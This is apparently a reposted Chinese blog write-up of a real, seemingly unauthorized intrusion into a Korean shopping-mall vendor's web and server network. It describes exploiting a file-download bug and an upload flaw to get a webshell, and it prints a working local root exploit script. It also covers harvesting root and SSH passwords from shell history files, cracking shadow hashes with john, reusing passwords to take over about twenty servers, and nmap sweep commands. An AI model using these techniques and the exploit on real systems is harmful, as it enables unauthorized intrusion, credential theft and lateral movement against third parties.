文章有不少 关注本站 有时间就整理出来写写. Penetration testing只收集渗透测试、代码审计、工具使用和SEO类文章.
寻找web漏洞获取webshell
一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站
上图扫描的不全 但浏览后可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变).test.net和其他自主域名 130是主站,136是webmail 环境为php+linux+apache.
本想下载源码白盒测试下寻找漏洞 但kr鸟文没见哪里有下载的 到都是收费的模板什么的. 那么通过某一demo站点寻找到了一个任意文件下载漏洞 因为看到一个file.php文件 这看文件名就清楚 容易存在下载与包含漏洞 测试后果然可以
得到数据库IP和账户密码 站库分离. telnet下数据库ip的3306端口 可以外联mysql版本4.1 那么得到后台的帐号密码 从后台寻找漏洞 通过上传截段得到一个webshell
linux提权密码通杀
查看内核版本uname -a
Linux xxoo.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux |
去1337day寻找exp提权 这里直接给出exp.sh
mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 3< /tmp/exploit/target rm -rf /tmp/exploit cat >> /tmp/payload .c <<EOF void __attribute__((constructor)) init() { setuid(0); system( "/bin/bash" ); } EOF gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload .c LD_AUDIT= "/$ORIGIN" exec /proc/self/fd/3 |
提权后习惯性的w一下 然后查看/root/.bash_history | grep ssh和.mysql_history得到了ssh root的密码和mysql密码
抓hash破解都省了. 之前c段扫描发现多数IP都为此系统 那么有可能都是统一管理的 root密码也有可能一样 通过nmap扫描C段开放22端口的IP进行测试
root@bt:~ # nmap -sP x.x.x.1-254 -oN Desktop/sp.txt root@bt:~ # cat Desktop/sp.txt | grep for | cut -d ' ' -f5>Desktop/sp2.txt root@bt:~ # nmap -sS -p22 -iL Desktop/sp2.txt>Desktop/sp3.txt |
测试结果如下如 还是有部分IP密码通杀的
从hostname可以看出 有db、mail、web、backup、ns服务器. 但是主站和其他开放22端口的IP没有测试成功.
先route或者netstat -r看看还有多少IP与之相关可以弄的
Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface x.x.x.128 * 255.255.255.128 U 0 0 0 eth0 169.254.0.0 * 255.255.0.0 U 0 0 0 eth0 default x.x.x.129 0.0.0.0 UG 0 0 0 eth0 |
netmask为128 gw为129 怎么计算我这里给出个图 有时候搞内网时 存在多域多个IP段 要计算有多少台 看这省事
扩大战果
这里除了root用户之外 查看/etc/passwd发现所持服务器中都存在一个master帐号 非root权限. 这帐号有可能是管理员用户管理的 想用root时su一下 一般都这样. 我们cat /etc/shadow下载这master用户hash 使用john --i:all pass.txt进行破解. 但是这样爆破耗时 密码复杂就蛋疼了 这里通过mysql的密码和root密码进行组合猜解 密码都是有点规律的比如mysql密码为xx@数字,root密码为xxx@数字 在加上与域名组合 试了N次得到了master密码为"域名@数字".
使用master密码以及查看/root/.ssh/known_hosts尝试登录其他hosts 这里同样可以登录部分IP
以其中一台为例 从master用户目录下的.bash_history中得到一个密码
但是这个密码测试root时失败 先做个记录. 查看此台内核版本uname -a
Linux node1. test .net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux |
这个域名不同 但这内核同样可以通过前面所提供的exp.sh提权
先把root hash读取出来 用john放着破解. 在看看其他信息
搞定主站
上面通过提权得到了root hash,但是爆破与组合猜解都没能试出来. 这里可以想到是之前有从.bash_history里获取到su的root密码 那么我们试着从其他IP中即使没提权的 通过find /home/ -name .bash_history寻找这些操作记录 幸运的是从其中一台获取到了su密码 测试登录130主站成功拿下 以及其他几台IP 截图留恋.
期间有使用su密码记录 但是last -20发现管理个把月才登一次 这里作罢. 拿到多个数据库root权限 收集了下账户密码 匹配测试也没效果 都是web的没啥大作用.
那么主站及其C段拿了差不多20台左右 因为nmap能扫到的也就20多台 这剩下的就没继续. 通过google搜索(大家可以爬爬ping IP)发现还有一个asp跟asp.net站点 使用awvs对web进行扫描 发现存在一个blind sql injection,丢到sqlmap里跑跑,过程如sqlmap注入. 这里就不在继续了写了 等下篇
转载
http://www.pentesting.cc/osmosis-kr-a-shopping-mall-systems-official-website.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论